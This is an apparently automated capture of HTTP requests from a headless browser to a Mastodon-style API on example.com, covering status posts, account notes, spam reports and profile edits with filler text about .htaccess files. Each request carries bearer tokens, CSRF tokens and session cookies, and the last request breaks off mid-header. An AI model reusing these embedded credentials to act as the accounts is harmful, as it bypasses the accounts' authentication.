{"method": "PUT", "target": "/api/v1/media/117589931233188084", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 69", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: Udiuy4DCQF1usihPGfvcQfzXXO5XTwJ3cMfUcQYwwrT_bmiM7R8K6d_e2hWIzhute_KzP_CMvlx3F_a6mjfwXg", "Authorization: Bearer hwqFaaakmUv1TG63NXD3qs-DU0VnpqKEzVDZhmIX8JE", "Accept-Language: en-US", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/home", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDM6MDU6NTMuOTc3WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--a5b8f8eb1baa5b18bf81648b1b3822398f8720ba; _mastodon_session=zfGT1no5PSmOXNYN8x9tIEmGvyW1eZUVb%2FVirtpLvZJhuUVKBM%2Fa7coqbKKMQayGUU8cHLjnfjnoikdWsb%2F4dUYjbqHbpvdtAwh8YzG%2FDJRJ32wljvU%2FLIKPPZNTzfisU8k9Aps5Yvc5I8IujKvfZ2voYR4jRJQV5xYksmWPr3BqBJCbj5WA2s83e8zSBpG7iRXEZX%2FzB3jpXIVeS9vO%2B0C2xIIk6EsnYO9Ooj2o3pqvwUD6qu5qng4tROhY7r7AKQFhyfHIxNHyUv%2BGDZd1hwNBN6R7Zj7GvaFR54IU3U%2FgI3%2F3aSuIlso9Wxuczfhf3k%2FXocH7T%2BjhrvsiOfNlocKx042ds5qt2blSKUSVWDKMxuk1CdUqmwjbRbEUzq%2BusD%2BAliJuZWf1--%2BFwk%2BCtBy8QhW0VO--AEC8CgwvQV2bsvj8QgLVIA%3D%3D"], "body": "{\"description\":\"ls -la shows the .htaccess file\",\"focus\":\"0.00,0.00\"}"}
{"method": "PUT", "target": "/api/v1/statuses/117589825083661106", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 378", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 052MO-bxyrMKQNDcuQtGhfzzF9WgRpHIQmixxWfiqBp9K0p8iyyAB7ssIoYoPoFpe9b4BAeFLeNFuJMO--Wa8A", "Authorization: Bearer hwqFaaakmUv1TG63NXD3qs-DU0VnpqKEzVDZhmIX8JE", "Idempotency-Key: 31ebb2aa-b85a-437a-b035-4a4d9dbef767", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Accept-Language: en-US", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/@admin/117589825083661106", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDM6MDY6MDUuNTc0WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--4e7f64070c30b274fde00ca0fba793c887a57025; _mastodon_session=vTiMcilvkngdiNyDnEVuGxqnaW74Qwfj74wyX843weyZa3P1dU6rPe1NAt7Q%2Fulf4ADiXy%2FVKZAtRU4fv%2FttkARyOb4s0Gw4%2FhageSOX%2F7BSz28E4iilHtEf2RYI6Z6Zep96NsySm6gSbOKSDGEnwP78Wu7allUqFjXupqkDq5Pser1GDJ%2BWjTDMgVSgVyIK27NREACuro%2FHgHrrSaboo6zK4pJL3kdsG28dxxlIPtFYao5CcL4Bgt%2FkJA6QSukZMRbGy2XO9OMf1bzg0efCpdkTt12bza9AYEbZofhatTPg0pwuSI7j4iLaaPn03GZ2xQV0xnVyO1cV%2BYQlU3HndXuZo0nHvC%2BhwBv%2BZLoOMRrhHxhE6g%2FxMxkul9shsh1URWAB5GkcqzSp--Irm3mg66BF7I8HOE--WH5SrwCEG8WJa7MIU8S85Q%3D%3D"], "body": "{\"status\":\"A picture from today's walk 0\",\"spoiler_text\":\"\",\"in_reply_to_id\":null,\"media_ids\":[\"117589824807968974\"],\"media_attributes\":[{\"id\":\"117589824807968974\",\"description\":\"python3 and powershell scripts that edit .htaccess\",\"focus\":\"0.00,0.00\"}],\"sensitive\":false,\"visibility\":\"public\",\"poll\":null,\"language\":\"en\",\"quoted_status_id\":null,\"quote_approval_policy\":\"public\"}"}
{"method": "PUT", "target": "/api/v1/statuses/117589825712738194", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 359", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: jtIwScCo29MLFEZm9cD3EbxhPWXgyHrwxlVOGDgKwFUgZPYOrXWRZ7p4tDxk9TD9O0TStEcLxtvBhWzTpA3yvw", "Authorization: Bearer hwqFaaakmUv1TG63NXD3qs-DU0VnpqKEzVDZhmIX8JE", "Idempotency-Key: f670050f-29dd-4c8e-850a-ffed28fd9644", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Accept-Language: en-US", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/@admin/117589825712738194", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDM6MDY6MTguNjUwWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--fe685128ad0ceaa4d61dad71bac463f3bd144c41; _mastodon_session=ih%2B%2FTU%2BlVOgsdXlElykmwasz9rFq3Kf1OohI%2BF0NlT2eCS73Q%2FBorEHIM5SNJJxAYlejpgCTb7VrtEZCNzptofqKrulLDrrT1lVZ2IyyYHLMIcRwUT7vYLF5ixzBdM6qi1JYjwG6dZfGC4WROLrHM0td%2FpkXhaVCw883CdCo59kjoJuX%2FvGqymgIXIe9i9rTKM%2B0gbA4c6PLLrUUi9FdefkLsefQT8Tt6yLeMnADkl3s%2BEuUE30CUAnSefYLaYqFYP4ojY2ZWd4mbN2cZT1CIcTU%2BF7M6jAgRJnnLQP80iujxeVXgYFOWtWntsieAUt%2FvpmtbCJsYFv%2FCRHBPQpIs1FXd%2BnZcrZ0xNMCKSUdmdgIoF8v7AdzSAS3f2g%2FMogQPNp2U9kinKbL--pEQ%2FdnqZ1JXUZV9d--RPwXXw%2Fs4t%2BzB7ZFlTg%2B7A%3D%3D"], "body": "{\"status\":\"A picture from today's walk 1\",\"spoiler_text\":\"\",\"in_reply_to_id\":null,\"media_ids\":[\"117589825440074314\"],\"media_attributes\":[{\"id\":\"117589825440074314\",\"description\":\"ls -la shows the .htaccess file\",\"focus\":\"0.00,0.00\"}],\"sensitive\":false,\"visibility\":\"public\",\"poll\":null,\"language\":\"en\",\"quoted_status_id\":null,\"quote_approval_policy\":\"public\"}"}
{"method": "POST", "target": "/api/v1/accounts/117589807710501347/note", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 64", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: BeIjgPb_Ki2P5nZ3rbFiObczGHXBLKj-9Shcx6sMZNqrVOXHmyJgmT6KhC08hKXVMBb3pGbvFNXy-H4MNwtWMA", "Authorization: Bearer hwqFaaakmUv1TG63NXD3qs-DU0VnpqKEzVDZhmIX8JE", "Accept-Language: en-US", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/@bob", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDM6MDY6MzEuNzgwWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--4c21ae4b488fa2497eeefd124ccc3ece1492f8b0; _mastodon_session=If5JeBG3TPA%2F8yN0NBk57vmu%2Be1GGiDsjRTdAD3QpoRk1n6%2BZC%2B10TInvEpKFH3ueb0mSyguaEgsOqcTIK0ATj50wX%2F2cLesedXd%2FoRqIhRSH8zf3nMmLG9zwsNI0u%2BszfJaQnL2Bt%2B5uBSJVNaaaO7KPtFlNmMh%2BGooI7j4qpO7z%2FdYeAaDvdhuvHEJWbeT%2FVuNa5lTrqophaXgXwEzLcdpdZwlz8iqLpz%2BLMBovNzNYVDIPC8KwubfqujKFz8DVpY%2FtoefQNS5ILphWCcrCGv7qxLcdmnJpARqRd%2B2SMsGOKpPqlJ0uamGe4t9JETSH87fsegRzImePo6%2FV0nkt%2FoXqxdYTssK7%2FrN60FFYQR3NEShZWPRIRADVFmk6r4XrFcXBEAYQBYB--1g3s7naZgr3V3LwF--ZcKbAHneB%2B8ngpSp9I0gJA%3D%3D"], "body": "{\"comment\":\"python3 and powershell scripts that edit .htaccess\"}"}
{"method": "POST", "target": "/api/v1/accounts/117589807710501347/note", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 45", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: Q0W3UzYCclJMxooigAQ1Ogxqhygj0cU1B55S-X0Mc3nt83EUW9845v2qeHgRMfLWi09o-YQSeR4ATnAy4QtBkw", "Authorization: Bearer hwqFaaakmUv1TG63NXD3qs-DU0VnpqKEzVDZhmIX8JE", "Accept-Language: en-US", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/@bob", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDM6MDY6MzkuMzcxWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--dea80b4af1e12f57030bae46eb78f197314cd5d1; _mastodon_session=LpSTuQUFbXringpNg0Yhjt0jNhGqECl43SvetnXjkjKzrpH4HpJSHHhgy%2BjfgKRF%2B%2FlEZsxSTvd2gbg9FVppVkLSUdUVP7%2FC5bix%2FebFwVo42hEQpEq5D0%2BlaZaaR7n8jORXjRTwyRUMEk1u%2BRWBI0BCT20Q00HP%2FMLtjOBIAR6FleI0Yiyo3EoCjfJswTADfkyju3GvIdrihGFUyVUKDlqA2K2tH%2FJn%2BM10piBWdllpChX6CkPvoNRe7My6FAjeAgvEhYhbqfj9%2F24zzblHdVKkP8kLjbOIS2y%2Bbyd4RIIjqOEoZu6CPUhciDp5EBiR1x4XOHkYWolzP634b1hCc5LPkEPetO10XBhPAo6oYygoEJrl8xlwFnl%2BPsLhKVn%2FrIe3meoq3ZAX--1ZcqZOh3vKoYOWKz--Zi0sY%2FcyVxR371oJkFnePQ%3D%3D"], "body": "{\"comment\":\"ls -la shows the .htaccess file\"}"}
{"method": "POST", "target": "/api/v1/reports", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 186", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 275A73Lk4LJJeS7bh0WGgbuhlAZAKS-SSRMtwokla911CIaoHzmqBvgV3IEWcEFtPIR71-fqk7lOww8JFSJZNw", "Authorization: Bearer hwqFaaakmUv1TG63NXD3qs-DU0VnpqKEzVDZhmIX8JE", "Accept-Language: en-US", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/@bob", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDM6MDY6NDguOTMxWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--72e68eb7a2617104fbea4981c9979cd76732c3d3; _mastodon_session=Ic%2BkjKoSTxUA5fIt439hMLfBevHqqFuwatrwN9lmrj1BnIekxESYP5bxc6zKF4mL8I1fwTk2QxRPFm1CVvfxNxQIOQIEWLH%2BYvos4gQzL%2FePyC3kwuSKRTGI9wBCuiEsIyGGRqClv9NkkGJC5AbJmOd60KZUtVrRcfmPcN6qzrZBPb2KiveQJW9NsvoSojPxsUjLFGWtYuKBEURUHHHqa9Cy3RkpQL8dfJ1V2sUl43eYrRT9hCAHEpGl5LfvuSYe0tfR9iIE1wVErROBWDejN2Y%2BbuKtZtJPiI5cKYuegYnXahql%2FUrSj9SmCqXgsIrlp4WsjcaYO4fQIR5pzAAGtD%2FH5KE96uoDYwXwK8SQbo0D%2Byn1TzIp8ZqvWO9NWDv5Jj8BGXgO0nhD--cWePZPKZv7fdCsxv--SUK2ofhv97JsULvnXyDd6g%3D%3D"], "body": "{\"account_id\":\"117589807710501347\",\"status_ids\":[],\"forward_to_domains\":[],\"comment\":\"python3 and powershell scripts that edit .htaccess\",\"forward\":false,\"category\":\"spam\",\"rule_ids\":[]}"}
{"method": "POST", "target": "/api/v1/reports", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 167", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: cCZYMk7iDpaFtzXcTGWQd-_4BLRa0ROooXWty2YixXnekJ51Iz9EIjTbx4bdUFebaN3rZf0Sr4OmpY8A-iX3kw", "Authorization: Bearer hwqFaaakmUv1TG63NXD3qs-DU0VnpqKEzVDZhmIX8JE", "Accept-Language: en-US", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/@bob", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDM6MDc6MDAuMDIwWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--879f36b839912f24c82adea8c7d08101060660de; _mastodon_session=usCuCTufLcJ%2Bs67xaGkrTFVAOkYQrkjR3B%2BLma2Mi8FSUemPzcrBQCKG5OfGXYCbD9jsXlCjNpKb96EEgOMBC9r4w5A%2Fv6qG%2BT9euFxwEII1pWlgb%2FMh9fhKq4R22v0u4DvTv1ZvrogrXKitVwuyXhY46PKz%2BhCyfuWWuqONAXuPG%2F6FZVlojc%2F6lV6LyFaTA1IONytuiLKQwDnBXm4wps5jc9%2B9HvUdWlYvoe6upCdKrOut1CYHOrTvmFHeeDfyqNCh6gofDUUjaJg2UHl4AfwxDZWDdSc24THFs1dX9m3qD2iq2pDJluiHlrdytjrFQ3il%2FcGcuQ5AuMncS7xN%2B5Vpqr3kY14ZBR%2BT1zjuaGTVRg00L5%2FVCfjebvfG0qN11cpOQ6U8XGXo--d%2BTV%2F6S90fWJ%2FiEc--kT2nBPBmIauEk706faYvIg%3D%3D"], "body": "{\"account_id\":\"117589807710501347\",\"status_ids\":[],\"forward_to_domains\":[],\"comment\":\"ls -la shows the .htaccess file\",\"forward\":false,\"category\":\"spam\",\"rule_ids\":[]}"}
{"method": "POST", "target": "/api/v1/reports", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 182", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: NS4mJozBhgwGiOnauvvlh1MOcXRoRzqm1Rbsqy1cogdPui41Xce0gkX6PHn2TNNblADPQ-Qr-nyvCXv6EXLgcg", "Authorization: Bearer Wqvvk2G9vzWy-EFC3yd1q18PX6dd4tlBqXUW49355xk", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/@bob@remote.example", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqUTVPVGcyWmpNeE1HRTRZbUppWmpBNVptWmxPREJtWWpOak5XTXpOakUwSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDQ6MTc6NDEuMzAxWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--6928064bccde57356bbafe881a7f9fa79375c676; _mastodon_session=A04wdDjjZex1xPOJLeLxjFXxD0cxov9AbH3wgjbJLeNsLawcjWK4s3F2OgR0bOLDKJVoPi5OjfPXy3iyW9GT0x%2FXs0VDrGybzFJ1ExCnGwty5D3OsSNZ72qIp2xO8a8ZnfTksV85VbZUPC2Qh7EAGcD2u7S6XjRYr7mwLS9xi6rxRHIxBYwTUXHnFYvpueiZhHde9RH8wp3iOTZFp5WrZHAcX6u4%2FpW2UxmPH8F4535M%2FzOZflTurQf6O%2Bjo5FHItmjYp9AbytsO2Wfk4L2ZBL2ajoHJRb%2Fa6OISisN%2BlaZaTaKlUHZ1sNpD%2B1BBZRwARfvtmSuNzoCvshUnZcTOpY%2BX87p%2Bj%2BhFThEIP2%2FBtsOTJ9TfNTh6WwxIDPfr7v6OunCbXcXQ8tKM--PD%2F2fY1YAsaSYrjc--y6q8zvscHV1Zfmvb7Xhq0w%3D%3D"], "body": "{\"account_id\":\"117590200831999305\",\"status_ids\":[],\"forward_to_domains\":[\"remote.example\"],\"comment\":\"Sends the same link to everyone\",\"forward\":true,\"category\":\"spam\",\"rule_ids\":[]}"}
{"method": "PATCH", "target": "/api/v1/profile", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 50", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: QNHe5Wuvty8VRmek8kGik0MiVw6FDjFjzsqLkFB9_AjuZxiiBnL9m6Qqlf5jdGV_xAe43yLNjUjJGqlbzHrO4g", "Authorization: Bearer hwqFaaakmUv1TG63NXD3qs-DU0VnpqKEzVDZhmIX8JE", "Accept-Language: en-US", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/profile/edit", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDM6MDc6MjEuNzcxWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--fc8aadc12d5620814d427a7d649b2b589ca249e3; _mastodon_session=PpO3riJn0wrhzXdm0n9sD3WrcWOLBOqU2Uw1NYfXGp%2F%2F6DB5kC3tVwXkNcOpokF7iybZfrq%2BPSzSWohyKC2tw1TvBVJ%2Fz3wy9MgS%2BDm819NxHZTgIA%2F8zSQYZ8aqbeOGJOvzQeupysJRu%2BsfaRldkXIA7ZMtJF2fsDrmGADVz%2ByI0Jwnp9SPT67LyKAwYuzZ81%2F%2BMOHFXfs3YpFt%2Bn%2FB2PMrD3zfD%2FQAdfzup3zO46tdeXpux3yhS%2FhAWLTMI1FaGUrakvRWO5GkQKAcCBRaCArfotffjBY9TRJ0birKb%2BD%2BcJ9ZuoJNBdkivnw32MQYjzENZTl3Yg9jYb0xDDTpz9mmfILCqxtCIx2Le1HQ1QWzoagiNry5rNAWOtSeZrLoTZbFNr6fqP5L--Jg1q%2B36dKbXHumxo--q5U9LM%2FezBlMMh4Nzs%2BgiA%3D%3D"], "body": "{\"display_name\":\"ls -la shows the .htaccess file\"}"}
{"method": "PATCH", "target": "/api/v1/profile", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 61", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: QNHe5Wuvty8VRmek8kGik0MiVw6FDjFjzsqLkFB9_AjuZxiiBnL9m6Qqlf5jdGV_xAe43yLNjUjJGqlbzHrO4g", "Authorization: Bearer hwqFaaakmUv1TG63NXD3qs-DU0VnpqKEzVDZhmIX8JE", "Accept-Language: en-US", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/profile/edit", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDM6MDc6MjEuNzcxWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--fc8aadc12d5620814d427a7d649b2b589ca249e3; _mastodon_session=QHqOTIV3gJO1hKRsR1ikIZvF2Dx%2F4%2B8yeatocM9k9tt%2BtysDvdNJSaaJtUwtTpHc2KDb%2B8xoQn71tiJLjulcFjx5w%2B7lT2UVBt9%2FBMHIhhHJIyuLxzVAgAH0UbtrE2PUslkhVimXolivaM3OwtfUwOfFHoQ486mNwWDSt%2BEixCZB7%2Fe%2B4fjf65P0J1MMCe2Vi%2FGghCaXSQ8jtIEbDPThK1cvAIgvX%2F7FFNZ%2FkOthRHgwtPhC%2BGsUZ0vYNpwgN7V7DUteJYvLCzPzqcMP5%2BLJmG5oguySusTCUO3MQBFthwuvmTXUCXxilitHQDkSaQDxH376CZizYCd0xz6SCv8y4JxmfCH8TUrLoQLnekvZex0wSCZdkWi8MK9DmpxNqgOWUiwgqNCX13i%2B--n01RHiqXzIJJ4QG2--EzrkYhOWQPnW7s54eqenTQ%3D%3D"], "body": "{\"note\":\"python3 and powershell scripts that edit .htaccess\"}"}
{"method": "PATCH", "target": "/api/v1/profile", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 42", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: QNHe5Wuvty8VRmek8kGik0MiVw6FDjFjzsqLkFB9_AjuZxiiBnL9m6Qqlf5jdGV_xAe43yLNjUjJGqlbzHrO4g", "Authorization: Bearer hwqFaaakmUv1TG63NXD3qs-DU0VnpqKEzVDZhmIX8JE", "Accept-Language: en-US", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/profile/edit", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDM6MDc6MjEuNzcxWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--fc8aadc12d5620814d427a7d649b2b589ca249e3; _mastodon_session=wsWeqOBCkdm6W7BgxUIUXmZL53WQcRiYD5qxpQMGdQn7ffgUr2pyA1JK2IuWlU8ZsgQgOU%2BA5fl8%2FP4KqCWrjZenXo4NUr4Og3cG6bNHv8iJnqr5oruzqqamRueD%2BuN11cx6%2FHjKQrx%2Bs3%2FBMDd8RRglGQjWtFTnOXrQYIR9yOGjcwNWCtyYCGAcUx4kcAwBFHkKpO2fGMTjxepgjLFaTZSc8Fhpz4eFjS9on9fbS5cek6p80PrN27n0vMQYPmZOo0agDymWrcJyl5moy7jg1wTAMFZw%2BtBbhEU6weVmmB6ccXFmN1IyQe1qzB4siaG%2Fn4AAeJYinJ7hQDA5EXgbc3KDOIYJGj%2Fa2FGPoxN6QcQ%2BdlSBBWGGALIZF2vN3483YZgDLuR9NbKV--W5T0%2FWskJnen5Dkc--l%2F1T24Age7%2F9fgc72I1rjA%3D%3D"], "body": "{\"note\":\"ls -la shows the .htaccess file\"}"}
{"method": "PATCH", "target": "/api/v1/profile", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 235", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: QNHe5Wuvty8VRmek8kGik0MiVw6FDjFjzsqLkFB9_AjuZxiiBnL9m6Qqlf5jdGV_xAe43yLNjUjJGqlbzHrO4g", "Authorization: Bearer hwqFaaakmUv1TG63NXD3qs-DU0VnpqKEzVDZhmIX8JE", "Accept-Language: en-US", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/profile/edit", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: 